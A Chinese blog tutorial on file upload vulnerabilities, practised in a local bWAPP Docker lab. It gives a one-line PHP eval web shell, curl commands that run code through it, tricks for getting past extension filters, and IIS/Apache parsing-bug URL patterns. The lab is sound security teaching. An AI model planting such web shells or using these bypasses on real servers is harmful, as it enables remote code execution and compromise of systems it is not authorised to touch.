美文网首页
文件上传漏洞

文件上传漏洞

作者: 一生逍遥一生 | 来源:发表于2023-03-09 09:14 被阅读0次

文件上传漏洞是什么?

文件上传漏洞是在开发者没有做充足验证情况下,允许用户上传恶意文件,这里上传的文件可以是木马、病毒、恶意脚本或者webshell等。

部署靶机环境

下载镜像

docker search bwapp # 搜索镜像
docker pull raesene/bwapp # 拉取镜像
docker run -d -p 12345:80 raesene/bwapp # 创建容器
docker ps # 确认容器是否正常运行
docker container list -a|grep bwapp # 查看容器id
docker start container_id # 启动容器,如果容器已经启动,就无需这部操作
docker exec -it container_id bash # 进入容器,修改文件的权限,否在无法上传文件

在进入容器之后,需要对文件的目录权限进行变更,否则无法进行上传操作

root@137640210dd6:/app# cd ..
root@137640210dd6:/# chown -R www-data:www-data app

系统初始化

在浏览器中输入http://localhost:12345/install.php,进入安全页面,选择安装按钮,对应用进行初始化。

image.png

创建用户

在初始化成功之后,跳转到create user页面,填写完信息之后,不要勾选验证邮件这一项,点击创建:


image.png

文件上传

上传漏洞

登录应用之后,选择Unrestricted File Upload 然后点击hack按钮,进入Unrestricted File Upload 页面,


image.png

上传一个文件shell.php文件,并进行查看,在预览页面中没有任何内容展示,因为上传的文件不是一个文本文件,而是一个文件,文件内容为:

<?php @eval($_POST['hacker']); ?>%

在php中,eval是一个特殊的关键字,将一个字符串变成php的运行代码。

<?php @eval($_POST['hacker']); ?> 中的@eval($_POST['hacker']);是要接收post的数据,变量为hacker
image.png
curl -d "hacker=echo get_current_user();" http://localhost:12345/images/shell.php # 获取当前用户
curl -d "hacker=echo getcwd();" http://localhost:12345/images/shell.php  # 获取当前的目录

后缀名跳过

将安全级别设置为medium,将无法上传shell.php文件:


image.png

将shell.php 变成shell.php3,在重新上传文件:


image.png
文件成功上传
image.png

将shell.php 变成shell.php30,在重新上传文件:


image.png
文件内容可以在预览里面看见,因为应用把shell.php30当作一个文本文件,直接展示内容。
查看容器内部的文件:
docker container list -a|grep bwapp # 查看容器id
docker exec -it container_id bash # 进入容器,修改文件的权限,否在无法上传文件
cd /etc/apache2/
cat apache2.conf |grep conf 

通过apache2.conf文件中,可以看到加载的mod有哪些,查看支持的php配置文件位置和内容

cd /etc/apache2/mods-enabled
cat php5.conf

php5.conf文件内容

<FilesMatch ".+\.ph(p[345]?|t|tml)$">
    SetHandler application/x-httpd-php
</FilesMatch>
<FilesMatch ".+\.phps$">
    SetHandler application/x-httpd-php-source
    Order Deny,Allow
    Deny from all
</FilesMatch>
<FilesMatch "^\.ph(p[345]?|t|tml|ps)$">
    Order Deny,Allow
    Deny from all
</FilesMatch>
<IfModule mod_userdir.c>
    <Directory /home/*/public_html>
        php_admin_flag engine Off
    </Directory>
</IfModule>

通过配置文件可以看到,如果后缀名字为php3、php4、php5都会解析为PHP文件,php30是无法解析为php文件的。

前端绕过

ISS 5.x/6 解析漏洞

漏洞1:当创建.asp的文件目录的时候,在此目录下的任意文件,服务器都解析为asp文件
漏洞2:服务器默认不解析;以后的内容
漏洞利用形式:
漏洞1: www.xx.com/xx.asp/xx.jpg 会被解析成asp文件
漏洞2: www.xx.com/xx.asp;.jpg 会被解析为asp文件

Apache漏洞

Apache 在1.x和2.x版本中存在解析漏洞:
Apache从右至左开始判断后缀,跳过非可识别后缀,直到找到可识别后缀为止,
然后将该可识别后缀进解析。

前端验证绕过

利用方式:
1.使用Burp Suite来拦截请求,将请求进行修改;
2.通过chrome禁止/删除js代码。

Windows文件流

什么是Windows文件流?
NTFS文件系统实现了多文件流特性,NTFS环境一个文件默认使用的是未命名的文件流,同时可创建其他命名的文件流,Windows资源管理器默认不显示出文件的命名文件流,这些命名的文件流在功能上和默认使用的未命名文件流一致,甚至可以用来启动程序。

相关文章

  • 2018-08-10 web渗透(完)

    今天主要学习的是文件上传漏洞和xss漏洞 文件上传漏洞 【漏洞描述】 文件上传漏洞是指网络攻击者上传了一个可执行的...

  • 文件上传(upload-labs详细全解)

    文件上传漏洞 常见的漏洞分类服务器配置不当导致文件上传开源编辑器存在上传漏洞本地文件上传限制可以上传被绕过服务器端...

  • 文件上传漏洞

    文件上传漏洞 权限 漏洞分类 利用条件 漏洞挖掘 常见可执行文件后缀

  • 文件上传漏洞

    文件上传漏洞原理文件上传漏洞是指网络攻击者上传了一个可执行的文件到服务器并执行。这里上传的文件可以是木马,病毒,恶...

  • 文件上传漏洞 学习笔记

    什么是文件上传漏洞? 文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其...

  • web安全(五)上传漏洞(一)

    只要web应用程序允许上传文件就有可能存在文件上传漏洞。那么如何确认web应用程序是否存在上传漏洞?比如:我...

  • 文件上传漏洞

    文件上传漏洞概述文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务端命令的能力。文件上...

  • 文件上传漏洞

    文件上传漏洞 文件上传漏洞是开发者在开发功能时没有做足够充分的验证(包括前端和后端),导致用户可以上传恶意文件,比...

  • 网络安全文件上传漏洞常见的预防方法!

    在网络安全行业中,常见的漏洞有很多,其中包括SQL注入漏洞、文件上传漏洞、目录遍历漏洞、文件包含漏洞、命令执行漏洞...

  • 中间件漏洞总结报告

    中间件漏洞总结报告 一、 IIS解析漏洞 首先一般文件解析漏洞用于各种上传漏洞中,在文件上传的地方一般会限制用户上...

网友评论

      本文标题:文件上传漏洞

      本文链接:https://www.haomeiwen.com/subject/bzjoldtx.html